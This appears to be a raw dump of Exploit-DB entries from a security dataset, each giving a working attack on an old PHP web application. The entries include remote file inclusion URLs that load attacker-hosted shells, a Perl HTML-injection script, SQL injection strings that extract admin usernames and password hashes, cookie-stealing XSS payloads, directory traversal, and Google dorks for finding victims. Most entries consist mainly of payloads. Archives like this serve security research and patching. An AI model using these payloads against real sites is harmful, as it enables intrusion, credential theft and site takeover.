deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2452
Description: PHPSecurePages 0.28b - 'secure.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-28
Author: D_7J

Exploit:
#==============================================================================================
#phpsecurepages (cfgProgDir) Remote File Include Vulnerability
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Download from : http://www.comscripts.com/jump.php?action=script&id=1491
#                                                                      
#Version : all versions                                            
#                                                        
#================================================================================================
#
#Google Dork : inurl:"phpsecurepages"
#
#================================================================================================
#Bug in : /phpSecurePages/secure.php
#
#Vlu Code :
#--------------------------------
#
# 	include($cfgProgDir . "lng/" . $languageFile);
#	include($cfgProgDir . "session.php");
#
#	example:http://www.teilar.gr/services/noc/admin/phpSecurePages/secure.php?cfgProgDir=http://d4wood.by.ru/r57shell.php?
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/secure.php?cfgProgDir==http://sheller.com?
#
#================================================================================================
#Discoverd By : D_7J
#
#Site:http://Deltahacking.ir (public) http://deltahacking.net (priv8)
#
#Conatact : D_7J[at]yahoo[dot]com & D_7J[at]Deltahacking[dot]net
#
#Special Thx To : Str0ke
#
#Greetz: All Iranian Hackers
# ==================================================================================================

# milw0rm.com [2006-09-28]
Exploit-DB #27557
Description: PHPSelect Submit-A-Link - HTML Injection
Type: webapps
Platform: php
Date: 2006-04-01
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/17348/info

Submit-A-Link is prone to an HTML-injection vulnerability. The script fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

All versions of Submit-A-Link are considered to be vulnerable.

#!/usr/bin/perl
#
# Exploit by s3rv3r_hack3r
# Special Thanx : hessamx , f0rk ,sattar.li , stanic, mfox,blood moon and..
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  )\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
######################################################
# Name    : linksubmit                               #
# Site    : http://www.phpselect.com/                #
######################################################
#you can use iframe,script and all html tags
#bug in linklist.php !!
#www.victim.com/linklist
use LWP::Simple;


print "-------------------------------------------\n";
print "=      Iran hacekerz security team        =\n";
print "=   By s3rv3r_hack3r  - www.hackerz.ir    =\n";
print "-------------------------------------------\n\n";


      print "Target >http://";
      chomp($targ = <STDIN>);
      print "your web site name >";
      chomp($wwwname= <STDIN>);
      print "your web site url >";
      chomp($wsurl= <STDIN>);
      print "your email >";
      chomp($mail= <STDIN>);

   $con=get("http://".$targ."/linklist.php") || die "[-]Cannot connect to Host";
while ()
{
     print "Html code\$";
     chomp($comd=<STDIN>);
     $commd=get("http://".$targ."/linklist.php?wsname=".$wwwname."&wsurl=".url."&email=".$mail."&description=".$comd)
}
Exploit-DB #28714
Description: PHPSelect Web Development - 'index.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-27
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/20231/info

PHPSelect Web Development is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

http://www.example.com/index.php3?Application_Root=http://www.example.com
Exploit-DB #3161
Description: PHPSherpa - '/include/config.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-20
Author: 3l3ctric-Cracker

Exploit:
------------------------------------------------------------------------------------------------------------------------
Script:PhpSherpa
Affected Version:....
Downlaoad:http://linuxeduquebec.org/IMG/tgz/sherpa.tgz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (include/config.inc.php)
Vul Code;
include($racine."include/connect.inc.php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/include/config.inc.php?racine=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-20]
Exploit-DB #10677
Description: PHPShop 0.6 - Bypass
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : PHPShop Version 0.6 by pass Vulnerability                               |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10677                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : PHPShop Version 0.6                                                     |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : by Pass Config                                                          |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://localhost/phpshop/etc/phpshop-dist.cfg * After download
| 2- open it and loock in lin: 193+194 you find the pass and e-mail to login
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #35387
Description: phpShop 0.8.1 - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-25
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/46561/info

phpShop is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpShop versions 0.8.1 and prior are vulnerable. 

http://www.example.com/phpshop0_8_1/?page=store/XSS&%26%26%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E%3d1
Exploit-DB #10324
Description: phpShop 0.8.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-05
Author: Andrea Fabrizi

Exploit:
**************************************************************
Vendor: http://www.phpshop.org/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
**************************************************************


### SQL INJECTION
http://server/phpshop-0.8.1/?page=admin/function_list&module_id=111111' union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa
http://server/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5 -- aaa
http://server/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=admin/module_form&module_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7ba16db1799fd8d25dbcde4' and '1'='1
http://server/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_category_id=6' and '1'='1
http://server/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad365513d6fe085a8aacaebc' and '1'='1
http://server/phpshop-0.8.1/?page=store/payment_method_form&payment_method_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1
...and many others...

The SQL Injection security check can be bypassed replacing spaces with comments (/**/)

### BLIND SQL INJECTION
http://server/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 -- aaa


### CSRF
http://server/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=321&
...and many others...


### XSS
http://server/phpshop-0.8.1/?page=order/order_print&order_id=1"><script>alert(document.cookie);</script>
...and many others...
Exploit-DB #5041
Description: phpShop 0.8.1 - SQL Injection / Filter Bypass
Type: webapps
Platform: php
Date: 2008-02-02
Author: the redc0ders

Exploit:
Vendor  : PHPShop
Webiste : http://www.phpshop.org
Version : v0.8.1
Author: the redc0ders / theredc0ders[at]gmail[dot]com
Condition: magic_quote_gpc = off , in php.ini setting

Details :
==========

  Vulnerable Code in index.php near lines 98 - 128
   [code]
 // basic SQL inject detection
   $my_insecure_array = array('keyword' => $_REQUEST['keyword'],
                  'category_id' => $_REQUEST['category_id'],
                  'product_id' => $_REQUEST['product_id'],
                  'user_id' => $_REQUEST['user_id'],
                  'user_info_id' => $_REQUEST['user_info_id'],
                  'page' => $_REQUEST['page'],
                  'func' => $_REQUEST['func']);
                  
   while(list($key,$value)=each($my_insecure_array)) {
      if (stristr($value,'FROM ') ||
          stristr($value,'UPDATE ') ||
          stristr($value,'WHERE ') ||
          stristr($value,'ALTER ')  ||
          stristr($value,'SELECT ')  ||
          stristr($value,'SHUTDOWN ') ||
          stristr($value,'CREATE ') ||
          stristr($value,'DROP ') ||
          stristr($value,'DELETE FROM') ||
          stristr($value,'script') ||
          stristr($value,'<>') ||
          stristr($value,'=') ||
          stristr($value,'SET '))
              die('Please provide a permitted value for '.$key);
   }
 [/code]

  The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc 

  so WORD+space, and this can be easily bypassed using comments like 
  POC : select/**/input1,input2...

Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3'+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,username/**/from/**/auth_user_md5/*


  
  Solution :
 simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini
 
 Greetz : Hacker1 - ToXiC350 - S4MI - Miyyet - Pynsso - Amigo_BM and All Moroccan Hackers =)

>From Morocco : JIB L3EZZ WELLA K7AZZ !

# milw0rm.com [2008-02-02]
Exploit-DB #24108
Description: phpShop 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2013-01-14
Author: By onestree

Exploit:
# Exploit Title : phpshop 2.0 SQL Injection Vulnerability
# Author        : By onestree
# Software Link : http://code.google.com/p/phpshop/downloads/list
# tested        : windows 7 / ubuntu
# Dork          : inurl:"tanyakan pada rumput yang bergoyang"

SQLi p0c:
 
==================

http://localhost/phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- 

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--




Thanks : 

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder
Exploit-DB #34988
Description: PHPShop 2.1 EE - 'name_new' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-10
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/44763/info

PHPShop is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPShop 2.1 EE is vulnerable; other versions may also be affected. 

http://www.example.com/uploads/2010/PHPShop%20XSS.html
Exploit-DB #36471
Description: PHPShop CMS 3.4 - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2011-12-20
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51130/info

PHPShop CMS is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHPShop CMS 3.4 is vulnerable; prior versions may also be affected. 

SQL:

http://www.example.com/phpshop/admpanel/photo/admin_photo_content.php?pid=6%20AND%201=2

http://www.example.com/phpshop/admpanel/page/adm_pages_new.php?catalogID=3%20AND%201=2

http://www.example.com/phpshop/admpanel/catalog/admin_cat_content.php?pid=3%20AND%201=2

http://www.example.com/phpshop/admpanel/catalog/adm_catalog_new.php?id=3%20AND%201=1

XSS:

http://www.example.com/phpshop/admpanel/banner/adm_baner_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E

http://www.example.com/phpshop/admpanel/gbook/adm_gbook_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E

http://www.example.com/phpshop/admpanel/links/adm_links_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E

http://www.example.com/phpshop/admpanel/menu/adm_menu_new.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3 C/script%3E

http://www.example.com/gbook/?a=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/phpshop/admpanel/catalog/admin_cat_content.php?pid=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E

http://www.example.com/phpshop/admpanel/catalog/adm_catalog_new.php?id=%%22%3E%3Cscript%3Ealert%28document.co okie%29;%3C/script%3E

http://www.example.com/phpshop/admpanel/page/adm_pages_new.php?catalogID=%22%3E%3Cscript%3Ealert%28document.c ookie%29;%3C/script%3E

http://www.example.com/phpshop/admpanel/photo/admin_photo_content.php?pid=%22%3E%3Cscript%3Ealert%28document. cookie%29;%3C/script%3E
Exploit-DB #2663
Description: PhpShop Core 0.9.0 RC1 - 'PS_BASE' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-28
Author: Cold Zero

Exploit:
--------------------------------------||  Viva Palestine ||-----------------------------------------

PhpShop-Core (append.php)  Remot File Include Vulnerability

Found By : CoLd Zero  [ Wasem898 ]

Source   : include_once ($4AZHAR_TeAM."Securty.");

PalesTine Arab Muslim Hacker's

######################################################
#
#            PhpShop-Core  v0.9.0 RC1
#
# Class:     Remote File Include Vulnerability
# Published  2006-10-27
# Remote:    Yes
# Type:      Dangerous
# Site:      http://www.comscripts.com/jump.php?action=script&id=81
#
# Author:    Cold Zero
# Contact:   c.o.1.d.0@hotmail.com
#
######################################################


file ;

/core/html/append.php
/core/demo/append.php

==========================

Vuln Code

<?php
//
// This footer information must be on every page!
require($PS_BASE."modules/core/lib/ps_page_close.inc");

?>
======================================================

Exploit :

Http://www.Victem.0/[phpshop-core_PaTH]/modules/core/demo/append.php?PS_BASE=http://www.human2human.org/cold.txt?

Http://www.Victem.0/[phpshop-core_PaTH]/modules/core/html/append.php?PS_BASE=http://www.human2human.org/cold.txt?

----  Thanx: [MoHaNdKo] [Cold ThreE] [Viper Hacker] [The Wolf KSA] [o0xxdark0o[ [OrGanza] [H@mLiT] [Snake12][Root Shell] [Metoovit] [Fucker_net] [Rageeb]

----  GreeTz: AlL : 4azhar.Com Members , All Xp10.com Members , Lezr.com Member  , xhahax.org Members  , Hack1h.com Members : Dm3r7.com Members

--------------------------------------||  Viva Palestine ||-----------------------------------------

# milw0rm.com [2006-10-28]
Exploit-DB #23546
Description: phpShop Web Shopping Cart 0.6.1 -b - Multiple Function Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-01-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9437/info

Multiple vulnerabilities have been reported to exist in the software that may allow an attacker to carry out attacks against the database, disclose sensitive information, and execute HTML or script code in a user's browser. The issues include SQL injection, cross-site scripting, HTML injection, and information disclosure.

page=admin/index&GulfTech="><script>alert(document.cookie)</script>
page=shop/browse&category_id="><script>alert(document.cookie)</script>
func="><script>alert(document.cookie)</script>
login="><script>alert(document.cookie)</script>
page=account/shipto&user_info_id="><script>alert(document.cookie)</script>
page=shopper/index&module_description="><script>alert(document.cookie)</script>
page=shopper/menu&menu_label="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_list_mn="><script>alert(document.cookie)</script>
page=shopper/menu&modulename="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_group_list_mnu="><script>alert(document.cookie)</script>
page=shopper/menu&shopper_group_form_mnu="><script>alert(document.cookie)</script>
page=vendor/index&module_description="><script>alert(document.cookie)</script>
page=vendor/index&menu_label="><script>alert(document.cookie)</script>
page=vendor/index&sess="><script>alert(document.cookie)</script>
page=vendor/index&leftbar_title_bgcolor="><script>alert(document.cookie)</script>
Exploit-DB #18435
Description: phpShowtime - Directory Traversal
Type: webapps
Platform: php
Date: 2012-01-31
Author: Red Security TEAM

Exploit:
# 
# Title     : phpShowtime Directory Travel
# Author    : Red Security TEAM
# Date      : 31/01/2012
# Download  : http://phpshowtime.kybernetika.de/
# Demo      : http://phpshowtime.kybernetika.de/demo/
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# 
# http://server/index.php?r=i/[Your Directory]
# Example   : http://server/index.php?r=i/../../ 
#
Exploit-DB #4111
Description: PHPSiteBackup 0.1 - 'pcltar.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-26
Author: GoLd_M

Exploit:
# phpSiteBackup 0.1 (pcltar.lib.php) Remote File Include Vulnerability

# D.Script:
          
http://kent.dl.sourceforge.net/sourceforge/phpsitebackup/phpSiteBackup-0.1.tgz

# Exploit:
          
/phpSiteBackup-0.1/pcltar.lib.php?g_pcltar_lib_dir=http://localhost/tryag.txt?

# D.Vidoe:
          http://my-story.org/uploads/phpSiteBackup.rar

# Discovered by:
          GoLd_M = [Mahmood_ali]

# Homepage:
          http://www.Tryag.Com/cc

# Greetz To:
          Tryag-Team & AsbMay's Group & Crackers_Child & Rf7awy & t0pP8uZz   :D

# milw0rm.com [2007-06-26]
Exploit-DB #7648
Description: phpskelsite 1.4 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-01-02
Author: ahmadbady

Exploit:
-----------------:RFI/LFI/xss:-----------------
-------------------------------------------
script:phpSkelSite
   
------------------------------------------------------------------
download from:http://apmuthu.tripod.com/files/phpSkelSite_v1.4.zip
   
------------------------------------------------------------------

........................................................
vul:/skysilver/login.tpl.php line 1

<? include $theme.'/pageheading'.$TplSuffix ; ?>


------------------------------------------------------
Rfi:

http://127.0.0.1/path/skysilver/login.tpl.php?theme=[shell.txt?]

Lfi:

http://127.0.0.1/path/skysilver/login.tpl.php?TplSuffix=[lfi]

***************************************************
xss:
http://127.0.0.1/path/index.php/>"><ScRiPt>alert('ahmadbady')</ScRiPt>
***************************************************
---------------------
Author: ahmadbady
---------------------

# milw0rm.com [2009-01-02]
Exploit-DB #20848
Description: PHPSlash 0.5.3 2/0.6.1 - URL Block Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2001-04-15
Author: tobozo tagada

Exploit:
source: https://www.securityfocus.com/bid/2724/info

PHPSlash is a widely used open source Groupware utility.

PHPSlash contains a vulnerability which may disclose files readable to the webserver process on the underlying host to PHPSlash users who can 'edit' URL blocks.

Exploitation may result in attackers gaining local access to the webserver or information which could assist in further attacks. 

Login as admin with GOD permissions
Access the BLOCKS admin section
(blockAdmin.php3) and
create a new block with the following information :

Title : notTrusted
Type : url
Site Location : whatever
Source URL : ./config.php3
Expire Length : 0
Owned by section : home
Data : (empty)
Order number : whatever

It will display the content of the config.php3 as text in
the block of the main page.

It might become an issue if blockAdmin.php3 gives
add/edit/remove permission to some users that are
not
supposed to access the filesystem.